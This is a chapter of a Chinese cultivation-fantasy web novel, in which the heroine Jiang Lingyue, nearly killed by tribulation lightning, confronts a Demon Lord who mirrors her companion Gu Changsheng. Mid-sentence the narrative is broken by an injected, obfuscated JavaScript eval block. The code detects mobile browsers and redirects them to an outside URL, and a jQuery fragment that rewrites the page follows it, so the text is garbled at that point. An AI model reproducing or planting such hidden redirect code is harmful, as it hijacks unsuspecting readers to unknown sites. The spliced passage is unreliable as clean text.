时间在这一刻仿佛静止了,空气凝结,只剩下轻微的喘息声,血腥气浓厚到令人近乎无法呼吸。
尽管江凌月心中已有猜测,但亲眼证实所带来的冲击,依旧远超想象。
魔尊那张脸同顾长生近乎一比一复刻而成,同样高挑的眉骨,极富攻击性的眉眼,十分凌厉的骨相,天边即将沉底的太阳将他高大的身影投射在地,极具压迫感。
区别在于魔尊右脸太阳穴下有一道疤,斜斜划至右眼下,彻底打破了那份相似带来的恍惚,徒留下狠厉与野性难驯。
她瞳孔瞬间放大,就这么看着魔尊,屡次开口接连失败,只从口中溢出更多的血沫。
第一个找回声音的是魔尊,他冷笑一声,直直将江凌月甩开。
江凌月后背重重摔在地上,噗的直直喷出一口血,浸染满地荒草,可偏偏她那脖颈宁折不弯,眼底明明白白写着嘲讽。
魔尊摸了摸自己的脸,指尖缓缓拂过那道疤,随后咧开个意味不明的笑:“真狼狈啊,江司主。”
他居高临下地看着她,轻声问:
“所以你为什么不意外?你知道什么?”
江凌月半趴在地上,接连的三道劫雷近乎让她经脉寸断,再加上魔尊这一摔,瞬间面容青白,毫无血色,哪怕轻微呼吸都让她觉着痛到昏厥,还偏偏硬是张口想要说些什么,接连被喉咙里的血呛了好几下,才勉强发出声:
“因为……你是……他啊。”
报错的系统,熟悉的身姿,说话声音,看她的眼神……处处都佐证着他们是同一人。
她总有种直觉,只有顾长生会这么看着她,眼神骗不了人。
“唰——”剑风破空而来,顾长生不由分说地挥剑攻向魔尊,滔天的杀意和暴怒瞬间吞噬一切理智,他瞬间明白了为什么这一世的一切都和先前不一样。
“顾长生”,决不能活。
魔尊啧了一声,向后退去半步,眯着眼看向另一个“自己”,想起先前这疯子说的那句“撑到你滚回魔涧中去”。
如果都是“自己”话,那肯定会说到做到吧?
比如现在满眼猩红的顾长生。
“真好,”魔尊连续躲避顾长生的进攻,用眼角余光瞥着天空的劫云,近乎咬牙切齿。
他待在凡间的时间不多了,不能就这么铩羽而归。
“能让我这么狼狈,江司主你真是好样的。”
第四道雷劫从天而降,他一脚蹬开顾长生飞驰而来的剑刃,借力向着天空猛然跃起。
顾长生立刻意识到他要做什么,紧追上去,高喝:“你敢!”
“哈哈……”魔尊从喉咙深处运筹帷幄地笑,“我怎么不敢?!顾长生,留好你的命,我迟早来收。”
话音刚落,他就这么探出手,五指精准地扣住天雷中断。滋啦——!紫白色的电光在他掌心疯狂窜动,发出令人牙酸的滋滋声。
下一秒,浓稠如墨的魔气顺着他的手臂汹涌而出,逆着天雷直直蹿入天道,愣是从根本将这道劫雷消弭殆尽,漫天的雷云跟着一阵剧烈翻涌。
这最后一道天雷,除非顾长生丢掉半条命,不然江凌月必死无疑。
只是强行干扰天道绝非毫无代价,哪怕是他都深受影响,但他毫不在意气息的紊乱,他绝不同意另一个自己能过得舒坦!
“江司主,江凌月!”他直直对上躺在地上被血污染透全身的素白身影。
“我们很快就会再次见面。”
此时顾长生不得不赶回到江凌月身边查看她的伤势,两张相同的面孔隔空对视,顾长生嘴角勾起。
这一笑比魔尊的狠厉森然还要多上几分,愣是多了点嗜血的杀意,用口型不出声说道:
“你等着,xxx。”
空间裂开,支撑他在凡间活动的魔气彻底消耗殆尽,他回到了魔涧,消失的地方掉下枚灰白的玉佩,砸在地上四分五裂。
天空恢复原先的橘红,魔尊存在的一切痕迹消失得干干净净,只有被魔气侵蚀的大地,刺鼻的血腥味彰显着这里究竟发生了什么。
江凌月痛苦地咳出一口淤血,肺腑如同被年岁般剧痛。她艰难地动了动手指,示意顾长生靠近。
天雷将至,她刚刚意识近乎恍惚,只能大概知道魔尊做了什么,可她不甘心。
“别动,”顾长生声音沙哑得厉害,他强行压下眉宇间翻腾的暴戾,用拇指轻轻擦去她唇边的血迹,整个手止不住地颤抖,“睡吧,睡吧……后面一切都有我。”
真是虚弱啊……江凌月感叹着,朦胧中顾长生先前那嚣张的身影一闪而过,最终和面前这面色苍白如纸,唇色淡得近乎透明的人彻底重合。
原本合体期所拥有的灵压此刻如同风中残烛,忽明忽灭。
她不知顾长生到底用了什么术法,竟然能用灵力驾驭血液,或许这就是为什么魔族害怕极阳之体的原因。
可人类的血液是有限的,哪怕是修仙界的修士也不可能无穷无尽,尤其是这般闻所未闻的秘术,恐怕对自身的消耗是毁灭性的。
“我……”她强迫自己将金丹内所剩不多的灵力注入到顾长生体内,“你为什么……”
你为什么要这么对我?你究竟是我的什么人?
她穿越时也不过才24岁,来到修仙界三年,最初的几个月出去降魔,近乎是踩在刀锋上行走。
之后她终于弄明白了系统功能,知道了在这个魔族遍地的世界自己终于掌握了多大一笔财富后,拜师,成为司主,开堂授课,撰写盟规,研究魔核……她的身边有万千队友,却也没有。
所有人都有可能堕魔,包括她自己。
但现在她终于看见能拯救这个世界的一线生机了,顾长生。
从没有人能这么直接地闯入到她的世界中,而更让她自己惊异的是,她意外地发现自己的躯体毫不排斥这人的接近与触碰。
一如现在,她感觉自己眼眶发酸,好似有什么液体积蓄在眼窝,然后一股脑地淌了下去。
视野逐渐模糊,经脉寸断的痛楚带着黑暗不断上涌,每一次呼吸都如同酷刑,可她还有话没说清楚。
她拼着力,拽住顾长生的衣领,抬起上半身,将最后一丝灵力汇入到他的体内。
“你是谁?你到底是谁?”
顾长生的眼神如此悲伤,却又藏着她分不清的情绪,但理智在渐渐远去,她在不断失控。
他没开口,只是指节用
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259628|177368||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
力地攥住她的手腕,指腹蹭过她的命门,力道重得像要把她嵌进骨血里,喉结上下滚了滚,没发出一个音节。
还是不给答案是吗?所以他到底想要什么?暧昧关系、情人关系、战友关系?又或是更深层次的……能够掌控对方生命的关系?
她处理过很多追求者,那些人的爱意是如此浅薄,不管当时说得多好听,看她的眼神有多炽热,她都能轻松应对。一句感谢,半盏温茶,就能把距离维持在心安理得被利用的安全线,直到他们认清自己,慢慢远离她。
可她现在对上了顾长生那道足够淹没她所有理智的眼神,那里有着难以承受的浓烈偏执时——
她听见自己的声音极其沙哑,却带着从未有过的、连自己都感到陌生的渴望与痛苦:
“如果你……做不到……坦诚,和我永远并肩,那就彻底……远离我。”
我不想伤害你,我也害怕被你伤害。
“离我……远点。”
血液从喉咙甚至鼻腔向外不断奔涌,她能感受到自己内脏受损严重,若是上辈子绝对是那种进ICU躺着,病危通知书加一起能凑副牌的程度。
黑暗如潮水般涌来,在彻底失去理智之前,她看到的最后一幕是顾长生一剑劈向暗紫色的雷劫,那身影熊熊燃烧,对着天道之力是如此渺小,却又如此巍然屹立。
*
满地焦土,残阳似血。
远处是重重鬼影,嘶吼,成群结队,奔腾而来。
一浑身素白的女子执剑,身后是数位视死如归的修士。
金色的灵力运转,结界正在撑起,“封”字若隐若现。
“……我们能守住吗……”“苍梧道君已经赶去魔涧了,说不定……”
众人窃窃私语,却在那女子沉重的视线下消失殆尽,她声音清冷:
“能守住,只要不出去就没问题。”
随着最后一丝灵力注入,封魔大阵成型,白衣女子收势吐息,刚想转身回城,却看着先前还同她并肩的修士一掌袭至面前。
“屠风怕的是你!”那弟子瞠目欲裂,“要不是你,根本不会有人来这座城!他要杀的是你……”
轰轰轰——
远处的魔族铁骑已至面前,为首那人嘴角咧开个足够血腥的笑。
“做得好,我的孩子。”
女子眼神一眯,错身躲开掌风,一剑划开手腕,红色的血瞬间附着在剑锋之上,燃起熊熊火焰,锋刃一转,与堕魔弟子的利爪狠狠撞上。
瞬间爆炸声起,那魔族在女子剑下撑不住一招便颈首分离,红色的火焰窜入魔族躯壳,将它焚烧殆尽。
“月华道君!”其他弟子完全插入不了战局,满脸惊恐,“结界里有,有魔气……”
“江凌月,快跑!!!”炸雷一般的男声从天穹响起,“走!屠风出关了!”
女子瞳孔紧缩,黑色的利刃已至眼前。
轰隆——
闪电撕开天穹,随即惊雷炸响,大地都在颤动。
元愈堂内修士来来回回,灵草的香气混杂着血腥窜入所有人的鼻腔内,染红的纱布块块向外送去。
病床上,江凌月面比纸白,缓缓睁开了眼睛。